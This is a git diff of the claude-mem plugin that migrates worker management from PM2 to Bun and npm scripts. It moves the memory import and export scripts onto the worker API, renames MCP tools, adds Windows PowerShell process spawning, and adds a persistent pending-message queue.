@@ -122,8 +134,8 @@ Port 37777 already in use
**Crashes:**
```
PM2 | App [claude-mem-worker] exited with code [1]
PM2 | App [claude-mem-worker] will restart in 100ms
Worker process exited with code 1
Worker restarting...
```
## Starting the Worker
@@ -132,37 +144,26 @@ PM2 | App [claude-mem-worker] will restart in 100ms
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
pm2 start ecosystem.config.cjs
```
### Start with Local PM2
If `pm2` command not in PATH:
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
node_modules/.bin/pm2 start ecosystem.config.cjs
npm run worker:start
```
### Force Restart
```bash
# Restart if already running
pm2 restart claude-mem-worker
# Restart worker (stops and starts)
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
# Delete and start fresh
pm2 delete claude-mem-worker
pm2 start ecosystem.config.cjs
# Or manually stop and start
npm run worker:stop
npm run worker:start
```
## Stopping the Worker
```bash
# Graceful stop
pm2 stop claude-mem-worker
# Delete completely (also removes from PM2 list)
pm2 delete claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:stop
```
## Worker Not Starting
@@ -172,23 +173,22 @@ pm2 delete claude-mem-worker
1. **Try manual start to see error:**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
node plugin/scripts/worker-service.cjs
bun plugin/scripts/worker-service.js
```
This runs the worker directly without PM2, showing full error output.
This runs the worker directly, showing full error output.
2. **Check PM2 itself:**
2. **Check Bun installation:**
```bash
which pm2
pm2 --version
which bun
bun --version
```
If PM2 not found, dependencies not installed.
If Bun not found, run: `npm install` (auto-installs Bun)
3. **Check dependencies:**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
ls node_modules/@anthropic-ai/claude-agent-sdk
ls node_modules/express
ls node_modules/pm2
```
4. **Check port availability:**
@@ -197,42 +197,57 @@ pm2 delete claude-mem-worker
```
If port in use, either kill that process or change claude-mem port.
5. **Check PID file:**
```bash
cat ~/.claude-mem/worker.pid
```
If worker PID exists but process is dead, remove stale PID:
```bash
rm ~/.claude-mem/worker.pid
npm run worker:start
```
### Common Fixes
**Dependencies missing:**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
npm install
pm2 start ecosystem.config.cjs
npm run worker:start
```
**Port conflict:**
```bash
echo '{"env":{"CLAUDE_MEM_WORKER_PORT":"37778"}}' > ~/.claude-mem/settings.json
pm2 restart claude-mem-worker
echo '{"CLAUDE_MEM_WORKER_PORT":"37778"}' > ~/.claude-mem/settings.json
npm run worker:restart
```
**Corrupted PM2:**
**Stale PID file:**
```bash
pm2 kill # Stop PM2 daemon
cd ~/.claude/plugins/marketplaces/thedotmack/
pm2 start ecosystem.config.cjs
rm ~/.claude-mem/worker.pid
npm run worker:start
```
## Worker Crashing Repeatedly
If worker keeps restarting (check with `pm2 status` showing high restart count):
If worker keeps restarting (check logs for repeated startup messages):
### Find the Cause
1. **Check error logs:**
```bash
pm2 logs claude-mem-worker --err --lines 100 --nostream
grep -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log | tail -100
```
2. **Look for crash pattern:**
```bash
pm2 logs claude-mem-worker --lines 200 --nostream | grep -A 5 "exited with code"
grep -A 5 "exited with code" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
```
3. **Run worker in foreground to see crashes:**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
bun plugin/scripts/worker-service.js
```
### Common Crash Causes
@@ -246,43 +261,71 @@ If fails, backup and recreate database.
**Out of memory:**
Check if database is too large or memory leak. Restart:
```bash
pm2 restart claude-mem-worker
npm run worker:restart
```
**Port conflict race condition:**
Another process grabbing port intermittently. Change port:
```bash
echo '{"env":{"CLAUDE_MEM_WORKER_PORT":"37778"}}' > ~/.claude-mem/settings.json
pm2 restart claude-mem-worker
echo '{"CLAUDE_MEM_WORKER_PORT":"37778"}' > ~/.claude-mem/settings.json
npm run worker:restart
```
## PM2 Management Commands
## Worker Management Commands
```bash
# List processes
pm2 list
pm2 jlist # JSON format
# Check status
npm run worker:status
# Show detailed info
pm2 show claude-mem-worker
# Start worker
npm run worker:start
# Monitor resources
pm2 monit
# Stop worker
npm run worker:stop
# Clear logs
pm2 flush claude-mem-worker
# Restart worker
npm run worker:restart
# Restart PM2 daemon
pm2 kill
pm2 resurrect # Restore saved processes
# View logs
npm run worker:logs
# Save current process list
pm2 save
# Check health endpoint
curl -s http://127.0.0.1:37777/health
# Update PM2
npm install -g pm2
# View PID
cat ~/.claude-mem/worker.pid
# View today's log file
cat ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# List all log files
ls -lh ~/.claude-mem/logs/worker-*.log
```
## Log File Management
Worker logs are stored in `~/.claude-mem/logs/` with daily rotation:
```bash
# View today's log
cat ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# View yesterday's log
cat ~/.claude-mem/logs/worker-$(date -d "yesterday" +%Y-%m-%d).log # Linux
cat ~/.claude-mem/logs/worker-$(date -v-1d +%Y-%m-%d).log # macOS
# List all logs
ls -lh ~/.claude-mem/logs/
# Clean old logs (older than 7 days)
find ~/.claude-mem/logs/ -name "worker-*.log" -mtime +7 -delete
# Archive logs
tar -czf ~/claude-mem-logs-backup-$(date +%Y-%m-%d).tar.gz ~/.claude-mem/logs/
```
**Note:** Logs auto-rotate daily. No manual flush required.
## Testing Worker Endpoints
Once worker is running, test all endpoints:
@@ -298,10 +341,22 @@ curl -s http://127.0.0.1:37777/ | head -20
curl -s http://127.0.0.1:37777/api/stats
# Search API
curl -s "http://127.0.0.1:37777/api/search/observations?q=test&format=index"
curl -s "http://127.0.0.1:37777/api/search?query=test&limit=5"
# Prompts API
curl -s "http://127.0.0.1:37777/api/prompts?limit=5"
# Recent context
curl -s "http://127.0.0.1:37777/api/context/recent?limit=3"
```
All should return appropriate responses (HTML for viewer, JSON for APIs).
## Troubleshooting Quick Reference
| Problem | Command | Expected Result |
|---------|---------|----------------|
| Check if running | `npm run worker:status` | Shows PID and uptime |
| Worker not running | `npm run worker:start` | Worker starts successfully |
| Worker crashed | `npm run worker:restart` | Worker restarts |
| View recent errors | `grep -i error ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log \| tail -20` | Shows recent errors |
| Port in use | `lsof -i :37777` | Shows process using port |
| Stale PID | `rm ~/.claude-mem/worker.pid && npm run worker:start` | Removes stale PID and starts |
| Dependencies missing | `npm install && npm run worker:start` | Installs deps and starts |
File diff suppressed because one or more lines are too long
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env node
import fs from 'fs';
import Database from 'better-sqlite3';
import { Database } from 'bun:sqlite';
import readline from 'readline';
import path from 'path';
import { homedir } from 'os';
+30
View File
@@ -26,6 +26,11 @@ const WORKER_SERVICE = {
source: 'src/services/worker-service.ts'
};
const WORKER_WRAPPER = {
name: 'worker-wrapper',
source: 'src/services/worker-wrapper.ts'
};
const MCP_SERVER = {
name: 'mcp-server',
source: 'src/servers/mcp-server.ts'
@@ -120,6 +125,31 @@ async function buildHooks() {
const workerStats = fs.statSync(`${hooksDir}/${WORKER_SERVICE.name}.cjs`);
console.log(`✓ worker-service built (${(workerStats.size / 1024).toFixed(2)} KB)`);
// Build worker wrapper (Windows zombie port fix)
console.log(`\n🔧 Building worker wrapper...`);
await build({
entryPoints: [WORKER_WRAPPER.source],
bundle: true,
platform: 'node',
target: 'node18',
format: 'cjs',
outfile: `${hooksDir}/${WORKER_WRAPPER.name}.cjs`,
minify: true,
logLevel: 'error',
external: ['bun:sqlite'],
define: {
'__DEFAULT_PACKAGE_VERSION__': `"${version}"`
},
banner: {
js: '#!/usr/bin/env bun'
}
});
// Make worker wrapper executable
fs.chmodSync(`${hooksDir}/${WORKER_WRAPPER.name}.cjs`, 0o755);
const wrapperStats = fs.statSync(`${hooksDir}/${WORKER_WRAPPER.name}.cjs`);
console.log(`✓ worker-wrapper built (${(wrapperStats.size / 1024).toFixed(2)} KB)`);
// Build MCP server
console.log(`\n🔧 Building MCP server...`);
await build({
+12 -27
View File
@@ -5,8 +5,7 @@
* Example: npx tsx scripts/export-memories.ts "windows" windows-memories.json --project=claude-mem
*/
import Database from 'better-sqlite3';
import { existsSync, writeFileSync } from 'fs';
import { writeFileSync } from 'fs';
import { homedir } from 'os';
import { join } from 'path';
import { SettingsDefaultsManager } from '../src/shared/SettingsDefaultsManager';
@@ -127,33 +126,19 @@ async function exportMemories(query: string, outputFile: string, project?: strin
if (s.sdk_session_id) sdkSessionIds.add(s.sdk_session_id);
});
// Get SDK sessions metadata from database
// (We need this because the API doesn't expose sdk_sessions table directly)
// Get SDK sessions metadata via API
console.log('📡 Fetching SDK sessions metadata...');
const sessions: SdkSessionRecord[] = [];
let sessions: SdkSessionRecord[] = [];
if (sdkSessionIds.size > 0) {
// Read directly from database for sdk_sessions table
const Database = (await import('better-sqlite3')).default;
const dbPath = join(homedir(), '.claude-mem', 'claude-mem.db');
if (!existsSync(dbPath)) {
console.error(`❌ Database not found at: ${dbPath}`);
console.error('💡 Has claude-mem been initialized? Try running a session first.');
process.exit(1);
}
const db = new Database(dbPath, { readonly: true });
try {
const placeholders = Array.from(sdkSessionIds).map(() => '?').join(',');
const sessionQuery = `
SELECT * FROM sdk_sessions
WHERE sdk_session_id IN (${placeholders})
ORDER BY started_at_epoch DESC
`;
sessions.push(...db.prepare(sessionQuery).all(...Array.from(sdkSessionIds)));
} finally {
db.close();
const sessionsResponse = await fetch(`${baseUrl}/api/sdk-sessions/batch`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ sdkSessionIds: Array.from(sdkSessionIds) })
});
if (sessionsResponse.ok) {
sessions = await sessionsResponse.json();
} else {
console.warn(`⚠️ Failed to fetch SDK sessions: ${sessionsResponse.status}`);
}
}
console.log(`✅ Found ${sessions.length} SDK sessions`);
+47 -203
View File
@@ -3,37 +3,21 @@
* Import memories from a JSON export file with duplicate prevention
* Usage: npx tsx scripts/import-memories.ts <input-file>
* Example: npx tsx scripts/import-memories.ts windows-memories.json
*
* This script uses the worker API instead of direct database access.
*/
import Database from 'better-sqlite3';
import { existsSync, readFileSync } from 'fs';
import { homedir } from 'os';
import { join } from 'path';
interface ImportStats {
sessionsImported: number;
sessionsSkipped: number;
summariesImported: number;
summariesSkipped: number;
observationsImported: number;
observationsSkipped: number;
promptsImported: number;
promptsSkipped: number;
}
const WORKER_PORT = process.env.CLAUDE_MEM_WORKER_PORT || 37777;
const WORKER_URL = `http://127.0.0.1:${WORKER_PORT}`;
function importMemories(inputFile: string) {
async function importMemories(inputFile: string) {
if (!existsSync(inputFile)) {
console.error(`❌ Input file not found: ${inputFile}`);
process.exit(1);
}
const dbPath = join(homedir(), '.claude-mem', 'claude-mem.db');
if (!existsSync(dbPath)) {
console.error(`❌ Database not found at: ${dbPath}`);
process.exit(1);
}
// Read and parse export file
const exportData = JSON.parse(readFileSync(inputFile, 'utf-8'));
@@ -47,190 +31,50 @@ function importMemories(inputFile: string) {
console.log(`${exportData.totalPrompts} prompts`);
console.log('');
const db = new Database(dbPath);
const stats: ImportStats = {
sessionsImported: 0,
sessionsSkipped: 0,
summariesImported: 0,
summariesSkipped: 0,
observationsImported: 0,
observationsSkipped: 0,
promptsImported: 0,
promptsSkipped: 0
};
// Check if worker is running
try {
// Prepare statements for duplicate checking
const checkSession = db.prepare('SELECT id FROM sdk_sessions WHERE claude_session_id = ?');
const checkSummary = db.prepare('SELECT id FROM session_summaries WHERE sdk_session_id = ?');
const checkObservation = db.prepare(`
SELECT id FROM observations
WHERE sdk_session_id = ?
AND title = ?
AND created_at_epoch = ?
`);
const checkPrompt = db.prepare(`
SELECT id FROM user_prompts
WHERE claude_session_id = ?
AND prompt_number = ?
`);
// Prepare insert statements
const insertSession = db.prepare(`
INSERT INTO sdk_sessions (
claude_session_id, sdk_session_id, project, user_prompt,
started_at, started_at_epoch, completed_at, completed_at_epoch,
status
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
const insertSummary = db.prepare(`
INSERT INTO session_summaries (
sdk_session_id, project, request, investigated, learned,
completed, next_steps, files_read, files_edited, notes,
prompt_number, discovery_tokens, created_at, created_at_epoch
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
const insertObservation = db.prepare(`
INSERT INTO observations (
sdk_session_id, project, text, type, title, subtitle,
facts, narrative, concepts, files_read, files_modified,
prompt_number, discovery_tokens, created_at, created_at_epoch
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
const insertPrompt = db.prepare(`
INSERT INTO user_prompts (
claude_session_id, prompt_number, prompt_text,
created_at, created_at_epoch
) VALUES (?, ?, ?, ?, ?)
`);
// Import in transaction
db.transaction(() => {
// 1. Import sessions first (dependency for everything else)
console.log('🔄 Importing sessions...');
for (const session of exportData.sessions) {
const exists = checkSession.get(session.claude_session_id);
if (exists) {
stats.sessionsSkipped++;
continue;
}
insertSession.run(
session.claude_session_id,
session.sdk_session_id,
session.project,
session.user_prompt,
session.started_at,
session.started_at_epoch,
session.completed_at,
session.completed_at_epoch,
session.status
);
stats.sessionsImported++;
}
console.log(` ✅ Imported: ${stats.sessionsImported}, Skipped: ${stats.sessionsSkipped}`);
// 2. Import summaries (depends on sessions)
console.log('🔄 Importing summaries...');
for (const summary of exportData.summaries) {
const exists = checkSummary.get(summary.sdk_session_id);
if (exists) {
stats.summariesSkipped++;
continue;
}
insertSummary.run(
summary.sdk_session_id,
summary.project,
summary.request,
summary.investigated,
summary.learned,
summary.completed,
summary.next_steps,
summary.files_read,
summary.files_edited,
summary.notes,
summary.prompt_number,
summary.discovery_tokens || 0,
summary.created_at,
summary.created_at_epoch
);
stats.summariesImported++;
}
console.log(` ✅ Imported: ${stats.summariesImported}, Skipped: ${stats.summariesSkipped}`);
// 3. Import observations (depends on sessions)
console.log('🔄 Importing observations...');
for (const obs of exportData.observations) {
const exists = checkObservation.get(
obs.sdk_session_id,
obs.title,
obs.created_at_epoch
);
if (exists) {
stats.observationsSkipped++;
continue;
}
insertObservation.run(
obs.sdk_session_id,
obs.project,
obs.text,
obs.type,
obs.title,
obs.subtitle,
obs.facts,
obs.narrative,
obs.concepts,
obs.files_read,
obs.files_modified,
obs.prompt_number,
obs.discovery_tokens || 0,
obs.created_at,
obs.created_at_epoch
);
stats.observationsImported++;
}
console.log(` ✅ Imported: ${stats.observationsImported}, Skipped: ${stats.observationsSkipped}`);
// 4. Import prompts (depends on sessions)
console.log('🔄 Importing prompts...');
for (const prompt of exportData.prompts) {
const exists = checkPrompt.get(
prompt.claude_session_id,
prompt.prompt_number
);
if (exists) {
stats.promptsSkipped++;
continue;
}
insertPrompt.run(
prompt.claude_session_id,
prompt.prompt_number,
prompt.prompt_text,
prompt.created_at,
prompt.created_at_epoch
);
stats.promptsImported++;
}
console.log(` ✅ Imported: ${stats.promptsImported}, Skipped: ${stats.promptsSkipped}`);
})();
console.log('\n✅ Import complete!');
console.log('📊 Summary:');
console.log(` Sessions: ${stats.sessionsImported} imported, ${stats.sessionsSkipped} skipped`);
console.log(` Summaries: ${stats.summariesImported} imported, ${stats.summariesSkipped} skipped`);
console.log(` Observations: ${stats.observationsImported} imported, ${stats.observationsSkipped} skipped`);
console.log(` Prompts: ${stats.promptsImported} imported, ${stats.promptsSkipped} skipped`);
} finally {
db.close();
const healthCheck = await fetch(`${WORKER_URL}/api/stats`);
if (!healthCheck.ok) {
throw new Error('Worker not responding');
}
} catch (error) {
console.error(`❌ Worker not running at ${WORKER_URL}`);
console.error(' Please ensure the claude-mem worker is running.');
process.exit(1);
}
console.log('🔄 Importing via worker API...');
// Send import request to worker
const response = await fetch(`${WORKER_URL}/api/import`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
sessions: exportData.sessions || [],
summaries: exportData.summaries || [],
observations: exportData.observations || [],
prompts: exportData.prompts || []
})
});
if (!response.ok) {
const errorText = await response.text();
console.error(`❌ Import failed: ${response.status} ${response.statusText}`);
console.error(` ${errorText}`);
process.exit(1);
}
const result = await response.json();
const stats = result.stats;
console.log('\n✅ Import complete!');
console.log('📊 Summary:');
console.log(` Sessions: ${stats.sessionsImported} imported, ${stats.sessionsSkipped} skipped`);
console.log(` Summaries: ${stats.summariesImported} imported, ${stats.summariesSkipped} skipped`);
console.log(` Observations: ${stats.observationsImported} imported, ${stats.observationsSkipped} skipped`);
console.log(` Prompts: ${stats.promptsImported} imported, ${stats.promptsSkipped} skipped`);
}
// CLI interface
+5 -5
View File
@@ -32,7 +32,7 @@ const TOOL_ENDPOINT_MAP: Record<string, string> = {
'timeline': '/api/timeline',
'get_recent_context': '/api/context/recent',
'get_context_timeline': '/api/context/timeline',
'progressive_description': '/api/instructions'
'help': '/api/instructions'
};
/**
@@ -259,13 +259,13 @@ const tools = [
}
},
{
name: 'progressive_description',
name: 'help',
description: 'Usage help',
inputSchema: z.object({
topic: z.enum(['workflow', 'search_params', 'examples', 'all']).default('all')
}),
handler: async (args: any) => {
const endpoint = TOOL_ENDPOINT_MAP['progressive_description'];
const endpoint = TOOL_ENDPOINT_MAP['help'];
return await callWorkerAPI(endpoint, args);
}
},
@@ -280,7 +280,7 @@ const tools = [
}
},
{
name: 'get_batch_observations',
name: 'get_observations',
description: 'Batch fetch',
inputSchema: z.object({
ids: z.array(z.number()),
@@ -317,7 +317,7 @@ const tools = [
// Create the MCP server
const server = new Server(
{
name: 'claude-mem-search-server',
name: 'mem-search-server',
version: '1.0.0',
},
{
+105 -33
View File
@@ -1,7 +1,7 @@
import { existsSync, readFileSync, writeFileSync, unlinkSync, mkdirSync } from 'fs';
import { createWriteStream } from 'fs';
import { join } from 'path';
import { spawn } from 'child_process';
import { spawn, spawnSync } from 'child_process';
import { homedir } from 'os';
import { DATA_DIR } from '../../shared/paths.js';
import { getBunPath, isBunAvailable } from '../../utils/bun-path.js';
@@ -43,8 +43,10 @@ export class ProcessManager {
// Ensure log directory exists
mkdirSync(LOG_DIR, { recursive: true });
// Get worker script path
const workerScript = join(MARKETPLACE_ROOT, 'plugin', 'scripts', 'worker-service.cjs');
// On Windows, use the wrapper script to solve zombie port problem
// On Unix, use the worker directly
const scriptName = process.platform === 'win32' ? 'worker-wrapper.cjs' : 'worker-service.cjs';
const workerScript = join(MARKETPLACE_ROOT, 'plugin', 'scripts', scriptName);
if (!existsSync(workerScript)) {
return { success: false, error: `Worker script not found at ${workerScript}` };
@@ -52,7 +54,7 @@ export class ProcessManager {
const logFile = this.getLogFilePath();
// Use Bun on all platforms
// Use Bun on all platforms with PowerShell workaround for Windows console popups
return this.startWithBun(workerScript, logFile, port);
}
@@ -60,6 +62,15 @@ export class ProcessManager {
return isBunAvailable();
}
/**
* Escapes a string for safe use in PowerShell single-quoted strings.
* In PowerShell single quotes, the only special character is the single quote itself,
* which must be doubled to escape it.
*/
private static escapePowerShellString(str: string): string {
return str.replace(/'/g, "''");
}
private static async startWithBun(script: string, logFile: string, port: number): Promise<{ success: boolean; pid?: number; error?: string }> {
const bunPath = getBunPath();
if (!bunPath) {
@@ -68,40 +79,88 @@ export class ProcessManager {
error: 'Bun is required but not found in PATH or common installation paths. Install from https://bun.sh'
};
}
try {
const isWindows = process.platform === 'win32';
const child = spawn(bunPath, [script], {
detached: true,
stdio: ['ignore', 'pipe', 'pipe'],
env: { ...process.env, CLAUDE_MEM_WORKER_PORT: String(port) },
cwd: MARKETPLACE_ROOT,
// Hide console window on Windows
...(isWindows && { windowsHide: true })
});
if (isWindows) {
// Windows: Use PowerShell Start-Process with -WindowStyle Hidden
// This properly hides the console window (affects both Bun and Node.js)
// Note: windowsHide: true doesn't work with detached: true (Bun inherits Node.js process spawning semantics)
// See: https://github.com/nodejs/node/issues/21825 and PR #315 for detailed testing
//
// On Windows, we start worker-wrapper.cjs which manages the actual worker-service.cjs.
// This solves the zombie port problem: the wrapper has no sockets, so when it kills
// and respawns the inner worker, the socket is properly released.
//
// Security: All paths (bunPath, script, MARKETPLACE_ROOT) are application-controlled system paths,
// not user input. If an attacker could modify these paths, they would already have full filesystem
// access including direct access to ~/.claude-mem/claude-mem.db. Nevertheless, we properly escape
// all values for PowerShell to follow security best practices.
const escapedBunPath = this.escapePowerShellString(bunPath);
const escapedScript = this.escapePowerShellString(script);
const escapedWorkDir = this.escapePowerShellString(MARKETPLACE_ROOT);
const envVars = `$env:CLAUDE_MEM_WORKER_PORT='${port}'`;
const psCommand = `${envVars}; Start-Process -FilePath '${escapedBunPath}' -ArgumentList '${escapedScript}' -WorkingDirectory '${escapedWorkDir}' -WindowStyle Hidden -PassThru | Select-Object -ExpandProperty Id`;
// Write logs
const logStream = createWriteStream(logFile, { flags: 'a' });
child.stdout?.pipe(logStream);
child.stderr?.pipe(logStream);
const result = spawnSync('powershell', ['-Command', psCommand], {
stdio: 'pipe',
timeout: 10000,
windowsHide: true
});
child.unref();
if (result.status !== 0) {
return {
success: false,
error: `PowerShell spawn failed: ${result.stderr?.toString() || 'unknown error'}`
};
}
if (!child.pid) {
return { success: false, error: 'Failed to get PID from spawned process' };
const pid = parseInt(result.stdout.toString().trim(), 10);
if (isNaN(pid)) {
return { success: false, error: 'Failed to get PID from PowerShell' };
}
// Write PID file
this.writePidFile({
pid,
port,
startedAt: new Date().toISOString(),
version: process.env.npm_package_version || 'unknown'
});
// Wait for health
return this.waitForHealth(pid, port);
} else {
// Unix: Use standard spawn with detached
const child = spawn(bunPath, [script], {
detached: true,
stdio: ['ignore', 'pipe', 'pipe'],
env: { ...process.env, CLAUDE_MEM_WORKER_PORT: String(port) },
cwd: MARKETPLACE_ROOT
});
// Write logs
const logStream = createWriteStream(logFile, { flags: 'a' });
child.stdout?.pipe(logStream);
child.stderr?.pipe(logStream);
child.unref();
if (!child.pid) {
return { success: false, error: 'Failed to get PID from spawned process' };
}
// Write PID file
this.writePidFile({
pid: child.pid,
port,
startedAt: new Date().toISOString(),
version: process.env.npm_package_version || 'unknown'
});
// Wait for health
return this.waitForHealth(child.pid, port);
}
// Write PID file
this.writePidFile({
pid: child.pid,
port,
startedAt: new Date().toISOString(),
version: process.env.npm_package_version || 'unknown'
});
// Wait for health
return this.waitForHealth(child.pid, port);
} catch (error) {
return {
success: false,
@@ -115,8 +174,21 @@ export class ProcessManager {
if (!info) return true;
try {
process.kill(info.pid, 'SIGTERM');
await this.waitForExit(info.pid, timeout);
if (process.platform === 'win32') {
// On Windows, use taskkill /T /F to kill entire process tree
// This ensures the wrapper AND all its children (inner worker, MCP, ChromaSync) are killed
// which is necessary to properly release the socket and avoid zombie ports
const { execSync } = await import('child_process');
try {
execSync(`taskkill /PID ${info.pid} /T /F`, { timeout: 10000, stdio: 'ignore' });
} catch {
// Process may already be dead
}
} else {
// On Unix, use signals
process.kill(info.pid, 'SIGTERM');
await this.waitForExit(info.pid, timeout);
}
} catch {
try {
process.kill(info.pid, 'SIGKILL');
+377
View File
@@ -0,0 +1,377 @@
import { Database } from './sqlite-compat.js';
import type { PendingMessage } from '../worker-types.js';
/**
* Persistent pending message record from database
*/
export interface PersistentPendingMessage {
id: number;
session_db_id: number;
claude_session_id: string;
message_type: 'observation' | 'summarize';
tool_name: string | null;
tool_input: string | null;
tool_response: string | null;
cwd: string | null;
last_user_message: string | null;
last_assistant_message: string | null;
prompt_number: number | null;
status: 'pending' | 'processing' | 'processed' | 'failed';
retry_count: number;
created_at_epoch: number;
started_processing_at_epoch: number | null;
completed_at_epoch: number | null;
}
/**
* PendingMessageStore - Persistent work queue for SDK messages
*
* Messages are persisted before processing and marked complete after success.
* This enables recovery from SDK hangs and worker crashes.
*
* Lifecycle:
* 1. enqueue() - Message persisted with status 'pending'
* 2. markProcessing() - Status changes to 'processing' when yielded to SDK
* 3. markProcessed() - Status changes to 'processed' after successful SDK response
* 4. markFailed() - Status changes to 'failed' if max retries exceeded
*
* Recovery:
* - resetStuckMessages() - Moves 'processing' messages back to 'pending' if stuck
* - getSessionsWithPendingMessages() - Find sessions that need recovery on startup
*/
export class PendingMessageStore {
private db: Database;
private maxRetries: number;
constructor(db: Database, maxRetries: number = 3) {
this.db = db;
this.maxRetries = maxRetries;
}
/**
* Enqueue a new message (persist before processing)
* @returns The database ID of the persisted message
*/
enqueue(sessionDbId: number, claudeSessionId: string, message: PendingMessage): number {
const now = Date.now();
const stmt = this.db.prepare(`
INSERT INTO pending_messages (
session_db_id, claude_session_id, message_type,
tool_name, tool_input, tool_response, cwd,
last_user_message, last_assistant_message,
prompt_number, status, retry_count, created_at_epoch
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'pending', 0, ?)
`);
const result = stmt.run(
sessionDbId,
claudeSessionId,
message.type,
message.tool_name || null,
message.tool_input ? JSON.stringify(message.tool_input) : null,
message.tool_response ? JSON.stringify(message.tool_response) : null,
message.cwd || null,
message.last_user_message || null,
message.last_assistant_message || null,
message.prompt_number || null,
now
);
return result.lastInsertRowid as number;
}
/**
* Peek at oldest pending message for session (does NOT change status)
* @returns The oldest pending message or null if none
*/
peekPending(sessionDbId: number): PersistentPendingMessage | null {
const stmt = this.db.prepare(`
SELECT * FROM pending_messages
WHERE session_db_id = ? AND status = 'pending'
ORDER BY id ASC
LIMIT 1
`);
return stmt.get(sessionDbId) as PersistentPendingMessage | null;
}
/**
* Get all pending messages for session (ordered by creation time)
*/
getAllPending(sessionDbId: number): PersistentPendingMessage[] {
const stmt = this.db.prepare(`
SELECT * FROM pending_messages
WHERE session_db_id = ? AND status = 'pending'
ORDER BY id ASC
`);
return stmt.all(sessionDbId) as PersistentPendingMessage[];
}
/**
* Get all queue messages (for UI display)
* Returns pending, processing, and failed messages (not processed - they're deleted)
* Joins with sdk_sessions to get project name
*/
getQueueMessages(): (PersistentPendingMessage & { project: string | null })[] {
const stmt = this.db.prepare(`
SELECT pm.*, ss.project
FROM pending_messages pm
LEFT JOIN sdk_sessions ss ON pm.claude_session_id = ss.claude_session_id
WHERE pm.status IN ('pending', 'processing', 'failed')
ORDER BY
CASE pm.status
WHEN 'failed' THEN 0
WHEN 'processing' THEN 1
WHEN 'pending' THEN 2
END,
pm.created_at_epoch ASC
`);
return stmt.all() as (PersistentPendingMessage & { project: string | null })[];
}
/**
* Get count of stuck messages (processing longer than threshold)
*/
getStuckCount(thresholdMs: number): number {
const cutoff = Date.now() - thresholdMs;
const stmt = this.db.prepare(`
SELECT COUNT(*) as count FROM pending_messages
WHERE status = 'processing' AND started_processing_at_epoch < ?
`);
const result = stmt.get(cutoff) as { count: number };
return result.count;
}
/**
* Retry a specific message (reset to pending)
* Works for pending (re-queue), processing (reset stuck), and failed messages
*/
retryMessage(messageId: number): boolean {
const stmt = this.db.prepare(`
UPDATE pending_messages
SET status = 'pending', started_processing_at_epoch = NULL
WHERE id = ? AND status IN ('pending', 'processing', 'failed')
`);
const result = stmt.run(messageId);
return result.changes > 0;
}
/**
* Reset all processing messages for a session to pending
* Used when force-restarting a stuck session
*/
resetProcessingToPending(sessionDbId: number): number {
const stmt = this.db.prepare(`
UPDATE pending_messages
SET status = 'pending', started_processing_at_epoch = NULL
WHERE session_db_id = ? AND status = 'processing'
`);
const result = stmt.run(sessionDbId);
return result.changes;
}
/**
* Abort a specific message (delete from queue)
*/
abortMessage(messageId: number): boolean {
const stmt = this.db.prepare('DELETE FROM pending_messages WHERE id = ?');
const result = stmt.run(messageId);
return result.changes > 0;
}
/**
* Retry all stuck messages at once
*/
retryAllStuck(thresholdMs: number): number {
const cutoff = Date.now() - thresholdMs;
const stmt = this.db.prepare(`
UPDATE pending_messages
SET status = 'pending', started_processing_at_epoch = NULL
WHERE status = 'processing' AND started_processing_at_epoch < ?
`);
const result = stmt.run(cutoff);
return result.changes;
}
/**
* Get recently processed messages (for UI feedback)
* Shows messages completed in the last N minutes so users can see their stuck items were processed
*/
getRecentlyProcessed(limit: number = 10, withinMinutes: number = 30): (PersistentPendingMessage & { project: string | null })[] {
const cutoff = Date.now() - (withinMinutes * 60 * 1000);
const stmt = this.db.prepare(`
SELECT pm.*, ss.project
FROM pending_messages pm
LEFT JOIN sdk_sessions ss ON pm.claude_session_id = ss.claude_session_id
WHERE pm.status = 'processed' AND pm.completed_at_epoch > ?
ORDER BY pm.completed_at_epoch DESC
LIMIT ?
`);
return stmt.all(cutoff, limit) as (PersistentPendingMessage & { project: string | null })[];
}
/**
* Mark message as being processed (status: pending -> processing)
*/
markProcessing(messageId: number): void {
const now = Date.now();
const stmt = this.db.prepare(`
UPDATE pending_messages
SET status = 'processing', started_processing_at_epoch = ?
WHERE id = ? AND status = 'pending'
`);
stmt.run(now, messageId);
}
/**
* Mark message as successfully processed (status: processing -> processed)
* Clears tool_input and tool_response to save space (observations are already saved)
*/
markProcessed(messageId: number): void {
const now = Date.now();
const stmt = this.db.prepare(`
UPDATE pending_messages
SET
status = 'processed',
completed_at_epoch = ?,
tool_input = NULL,
tool_response = NULL
WHERE id = ? AND status = 'processing'
`);
stmt.run(now, messageId);
}
/**
* Mark message as failed (status: processing -> failed or back to pending for retry)
* If retry_count < maxRetries, moves back to 'pending' for retry
* Otherwise marks as 'failed' permanently
*/
markFailed(messageId: number): void {
const now = Date.now();
// Get current retry count
const msg = this.db.prepare('SELECT retry_count FROM pending_messages WHERE id = ?').get(messageId) as { retry_count: number } | undefined;
if (!msg) return;
if (msg.retry_count < this.maxRetries) {
// Move back to pending for retry
const stmt = this.db.prepare(`
UPDATE pending_messages
SET status = 'pending', retry_count = retry_count + 1, started_processing_at_epoch = NULL
WHERE id = ?
`);
stmt.run(messageId);
} else {
// Max retries exceeded, mark as permanently failed
const stmt = this.db.prepare(`
UPDATE pending_messages
SET status = 'failed', completed_at_epoch = ?
WHERE id = ?
